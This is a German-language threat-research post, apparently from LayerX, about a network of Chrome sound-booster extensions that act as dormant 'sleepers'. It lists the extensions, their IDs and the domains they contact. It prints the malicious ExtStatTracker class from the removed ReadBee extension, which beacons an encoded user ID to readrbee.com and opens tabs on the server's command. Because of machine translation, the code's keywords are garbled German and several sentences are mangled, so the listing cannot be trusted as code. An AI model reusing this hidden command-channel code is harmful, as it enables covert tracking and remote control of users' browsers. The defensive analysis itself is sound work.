LayerX hat ein Netzwerk bösartiger „Sleeper Agent“-Erweiterungen entdeckt, die offenbar als Infrastruktur für zukünftige bösartige Aktivitäten dienen und derzeit bei fast 1.5 Millionen Benutzern weltweit installiert sind.

 

LayerX hat ein Netzwerk von Browser-Erweiterungen entdeckt, die offenbar als „Schläfer“ für zukünftige bösartige Aktivitäten dienen. Die Erweiterungen scheinen alle von derselben Person oder Gruppe entwickelt worden zu sein, die nur auf ihren „Marschbefehl“ wartet, um Schadcode auf den Computern ahnungsloser Benutzer auszuführen. 

Die von LayerX identifizierten Erweiterungen scheinen sich alle auf die Soundverwaltung im Browser zu konzentrieren. Während die Erweiterungen versuchen, ihre gemeinsamen Parameter (gemeinsame Codebasis, gemeinsame externe Kommunikationsziele usw.) zu verschleiern und legitime Funktionalität zu demonstrieren, offenbart eine Analyse des Codes ein ganz anderes Bild:

  • Häufig verwendeter Code mit bekannten schädlichen Erweiterungen: In diesen Erweiterungen, die zuvor als bösartig identifiziert und aus dem Chrome Web Store entfernt wurden, wurden gemeinsame Codemuster gefunden.
  • Laden externer Konfigurationsdateien zum Ausführen von Befehlen: Die gemeinsamen Codemuster ermöglichen der Erweiterung unter anderem die Ausführung von Remote-Anweisungen, ohne dass diese Befehle in der Codebasis erscheinen, wodurch herkömmliche Code-Scanning-Techniken umgangen werden.
  • Öffnen von Hintergrund-Tabs und Ausführen von Befehlen: Dadurch kann die Erweiterung Befehle ausführen, ohne dass der Benutzer davon Kenntnis hat. Beispiele für solche Befehle können beispielsweise der Zugriff auf eine externe URL und das Herunterladen von Malware sein.
  • Kommunikation mit bekannten bösartigen URLs: Die Erweiterungen kommunizieren mit externen URLs, einschließlich bekannter bösartiger Domänen.
  • Verkehrsverschlüsselung: Die Erweiterungen verwenden auch Verschlüsselung und Base64-Code-Verschleierung, um externe Kommunikation zu verschlüsseln und ihr Verhalten zu verschleiern.

Es ist unnötig zu erwähnen, dass diese Funktionen im Hinblick auf die angebliche Funktion der Erweiterungen offenbar keinen legitimen Nutzen haben. 

LayerX hat derzeit vier solcher Erweiterungen (weitere Details siehe unten) mit über 1.2 Millionen Nutzern weltweit identifiziert. LayerX untersucht derzeit außerdem mehrere weitere Erweiterungen, die mit dieser Kampagne in Verbindung zu stehen scheinen. Alle Erweiterungen sind weiterhin im Chrome Store verfügbar.

 

Eine gemeinsame, bösartige Codebasis

Obwohl die Erweiterungen äußerlich nicht miteinander verbunden erscheinen, eine gemeinsame Codebasis teilen mit vielen wiederkehrenden Funktionen und Datenstrukturen, die auf einen einzelnen Entwickler oder eine Gruppe dahinter schließen lassen.

Kritisch ist, dass sie offenbar Infrastrukturcode mit einer Erweiterung teilen, die in der Vergangenheit aufgrund böswilliger Aktivitäten aus dem Chrome Web Store entfernt wurde: ReadBee (Erweiterungs-ID: phjbepamfhjgjdgmbhmfflhnlohldchb) war eine beliebte Chrome-Erweiterung, die versteckte Infrastruktur für böswillige Aktivitäten enthielt. Sie wurde später aus dem Chrome Web Store entfernt, nachdem sie mit Verkehrsumleitungen und potenziellem Affiliate-Betrug in Verbindung gebracht wurde. Sicherheitsforscher haben es wegen verdächtiger Berechtigungen und verdächtigen Verhaltens markiert.

Das ExtStatTracker Die Klasse in ReadBee verfolgt Installationen, Deinstallationen und Updates im Hintergrund, indem sie verschlüsselte Benutzerdaten – einschließlich einer persistenten UUID – an readrbee.com. Es kann auch Öffnen Sie beliebige URLs in neuen Tabs, die effektiv als Remote-Befehlskanal fungiert. Diese Telemetrielogik ist in das Hintergrundskript eingebettet und nicht an Benutzer weitergegeben, was das Vorhandensein einer bösartigen Infrastruktur bestätigt.

Das Hintergrundskript von ReadBee enthält eine Komponente namens ExtStatTracker, die als Fernsteuerungs- und Telemetrieinfrastruktur fungiert. Es kodiert Daten mit btoa und hängt sie an Netzwerkanfragen an, die an readrbee.com. Dieses System ermöglicht es dem Remote-Server, Konfigurationsaktualisierungen zu pushen und sogar beliebige Tabs mit chrome.tabs.create() zu öffnen. 

Ein Vorteil dieses Setups ist die Flexibilität: Beispielsweise kann eine im Inhaltsskript zu überwachende Element-ID remote bereitgestellt werden, wodurch fest codierte Logik vermieden und statische Sicherheitstools leichter umgangen werden können. Die Kommunikation zwischen den Komponenten erfolgt über chrome.storage und ermöglicht so eine dauerhafte, stille Koordination. Diese versteckte Infrastruktur weist durch stilles Tracking, dynamische Verhaltensinjektion und gezielte Umgehung von Sicherheitsmechanismen deutliche Anzeichen böswilliger Absichten auf.

Klasse ExtStatTracker {

    Konstruktor() {

        fehlen uns die Worte..installUrl = „https://readrbee.com/install/" fehlen uns die Worte..uninstallUrl = „https://readrbee.com/uninstall/" fehlen uns die Worte..config = {}, fehlen uns die Worte..queue = [], fehlen uns die Worte..hash = „“, fehlen uns die Worte..queueProcessorReady = !1, fehlen uns die Worte..uid = „“, fehlen uns die Worte..version = chrome.runtime.getManifest().version, ee = „undefiniert” == Art der Fenster? globalThis: Fenster, fehlen uns die Worte..initStorage() fehlen uns die Worte..initListeners()

    }

    Prozesswarteschlange() {

        für (; fehlen uns die Worte..Warteschlangenlänge > 0; ) {

            jung t = fehlen uns die Worte..Warteschlange.verschieben();

            if (!t.Typ || "Aktion" != t.Typ) Rückkehr !0;

            jung e = „p=“ + URI-Komponente kodieren(btoa(JSON.stringifizieren({

                id: chrome.runtime.id,

                v: fehlen uns die Worte..Version,

                Aktion: t.Aktion,

                uid: fehlen uns die Worte..uid,

                Hash-: fehlen uns die Worte..hash,

                t: Datum.jetzt an()

            })));

            holen(fehlen uns die Worte..installUrl + "?" + e).dann((t => t.JSON())).dann((Funktion(T) {

                t && 1 != t.ok && (t.url && chrome.tabs.erstellen({

                    URL: t.url

                }), extStatTracker.Konfiguration speichern(T))

            }))

        }

    }

    setUninstallUrl() {

        jung t = „p=“ + encodeURIComponent(btoa(JSON.stringify({

            id: chrome.runtime.id,

            v: fehlen uns die Worte..Version,

            Aktion: "Deinstallieren",

            uid: diese.uid,

            t: Datum.jetzt()

        })));

        chrome.runtime.setUninstallURL(fehlen uns die Worte..uninstallUrl + "?" + t)

    }

    initListeners() {

        chrome.runtime.onInstalled.Listener hinzufügen((t => {

            fehlen uns die Worte..Warteschlange.drücken({

                tippe"Aktion"

                Aktion: Verrat

            }), fehlen uns die Worte..queueProcessorReady && Dies.Prozesswarteschlange()

        }))

    }

    initStorage() {

        chrome.storage.local.bekommen((t => {

            t && t.config && (extStatTracker.config = t.config), extStatTracker.config.uid ? extStatTracker.uid = extStatTracker.config.uid : (extStatTracker.uid = extStatTracker.config.uid = crypto.zufälligeUUID(), extStatTracker.Konfiguration speichern()), extStatTracker.hash = extStatTracker.config.hash, extStatTracker.queueProcessorReady = !0, extStatTracker.setUninstallUrl(), extStatTracker.Prozesswarteschlange()

        }))

    }

    Konfiguration speichern(t = !1) {

        t = t || extStatTracker.config, chrome.storage.local.bekommen({

            Config: {}

        }, (e => {

            Objekt.zuweisen(e.config, t), chrome.storage.local.kompensieren({

                Config: e.config

            })

        }))

    }

}

const extStatTracker = neu ExtStatTracker;

Diese Infrastruktur ist nicht nur bei ReadBee zu finden – ähnliche Schadcodestrukturen wurden auch in anderen Erweiterungen gefunden. Beispielsweise Suche ChatGPT Verlängerung (acagjkjeebjdmeipgmhcmaddekfmdbaj) verwendete dieselben Kommunikations- und Steuerungsmuster und wurde am . aus dem Chrome Web Store entfernt. 25. Oktober 2024, aufgrund von Malware.

 

Kommunikation mit bösartigen URLs:

Einige der Domänen, mit denen diese Erweiterungen kommunizieren, wurden auf VirusTotal als bekannte bösartige URLs gekennzeichnet:

  • https://francjohn[.]com/api/action/

Eine weitere Domäne, mit der die Kommunikation über Erweiterungen erfolgt, ist:

  • https://jermikro[.]com/api/

Drei der Erweiterungen kommunizieren mit dieser Domäne. Obwohl diese Domäne selbst nicht als bösartig eingestuft wurde, wurde die zugrunde liegende Domäne in der Vergangenheit aufgrund von Malware-Aktivitäten identifiziert.

Darüber hinaus verwenden die Erweiterungen auch verschiedene Verschlüsselungstechniken innerhalb des Codes, um die externe Kommunikation zu verschlüsseln und ihr Verhalten zu verschleiern.

 

Verschleierung des gemeinsamen Eigentums

Ein weiterer wichtiger Faktor ist, dass die Erweiterungen zwar alle eine gemeinsame Codebasis (zumindest für die schädlichen Teile), ein gemeinsames Thema (alle scheinen sich auf die Soundverwaltung im Browser zu konzentrieren) und eine gemeinsame externe Kommunikation zu haben scheinen, nach außen hin jedoch alle unterschiedliche Eigentümer aufweisen:

  • Jede Erweiterung ist unter einem anderen Herausgeber mit unterschiedlichen Kontaktdaten aufgeführt.
  • Keine der Erweiterungen verfügt über öffentlich zugängliche Websites.
  • Die Kontaktinformationen der einzelnen Erweiterungen führen zu anonymen Webmail-Konten.

Daher ist es unmöglich, die Identität der Personen hinter jeder dieser Erweiterungen festzustellen.

 

Mutmaßlich schädliche Erweiterungen:

Nachfolgend finden Sie die aktuelle Liste der mutmaßlich bösartigen Erweiterungen, die als Teil dieses Rings identifiziert wurden:

Erweiterungsname Erweiterungs-ID Nutzer
Sound-Booster pmilcmjbofinpnbnpanpdadijibcgifc 200,000
Untersuchen Sie den Quellcode von Volume Max – Ultimate Sound Booster mgbhdehiapbjamfgekfpebmhmnmcmemg 1,000,000
Volume Master: Meistern Sie Ihren Sound eoejmjkddfbhhnbmklhccnppogeaeeah 3,000
Volume Booster: Ultimativer Klangverstärker dlcgileladmbfijjmnleehhoebpggpjl 2,000

Weitere Bestätigung zu VirusTotal

VirusTotal ist zwar vor allem als Repository zum Markieren der Domänen/IPs von Malware-Command-and-Control-Servern (C2) bekannt, enthält jedoch auch einige Daten zu Erweiterungen.

Tatsächlich wurde die Erweiterung „Examine source code of Volume Max – Ultimate Sound Booster“ mit über einer Million Downloads bereits von mehreren Anbietern gemeldet. Sie wurde jedoch nicht aus dem Chrome Web Store entfernt.



Auch die Erweiterung „Sound Boster“ (über 200,000 Nutzer) wurde von einigen Sicherheitsunternehmen als schädlich eingestuft. Auch sie ist weiterhin im Chrome Web Store verfügbar.


Implikationen:

Die Analyse der Erweiterungen ist noch im Gange, aber bisher hat LayerX keine Strom bösartige Aktivitäten (abgesehen von Verbindungen zu bekannten bösartigen Erweiterungen). Stattdessen scheint es sich um eine Lernumgebung or Infrastruktur für potenziell zukünftige böswillige Aktivitäten. Aus diesem Grund nennen wir es ein „Schlafendes“ Erweiterungsnetzwerk.

Diese Art von „schläferlichem“ Erweiterungsnetzwerk kann als Ersatz für herkömmliche Botnetze dienen. Während der Aufbau von Botnetzen (meist auf exponierten IoT-Geräten) langsam, technisch komplex und mühsam sein kann, ist die Entwicklung eines Netzwerks bösartiger Browsererweiterungen deutlich einfacher und kann direkten Zugriff auf wichtige Benutzeridentitätsinformationen wie Cookies, Passwörter, Browserdaten und Browserinhalte ermöglichen.

Hier einige wichtige Erkenntnisse:

  1. Auch scheinbar harmlose Erweiterungen können schädlich sein: Obwohl wir in diesem Fall kein aktives böswilliges Verhalten feststellen konnten, haben wir mehrere Links zu bekannten böswilligen Erweiterungen und/oder Domänen sowie Code mit Funktionen identifiziert, die in Erweiterungen mit den angekündigten Funktionen nichts zu suchen haben.
  2. Der Ruf des Verlags ist ein schwarzes Loch: Jeder kann eine Erweiterung hochladen, und es ist praktisch unmöglich, die Personen hinter diesen Erweiterungen zurückzuverfolgen. In diesem Fall führen die Erweiterungen, trotz aller Gemeinsamkeiten, auf generische Webmail-Adressen zurück, nicht auf öffentliche Websites, und es gibt keine Möglichkeit herauszufinden, wer dahinter steckt.
  3. Die Erweiterungssicherheit ist ein kontinuierlicher Prozess: Es ist kein einmaliges Problem, und scheinbar harmlose Erweiterungen können sich als schädlich erweisen oder schädliche Funktionen können ein- und ausgeschaltet werden. Deshalb ist es wichtig, die Bedrohungsoberfläche und die Sicherheitslage Ihrer Browsererweiterungen kontinuierlich zu überwachen.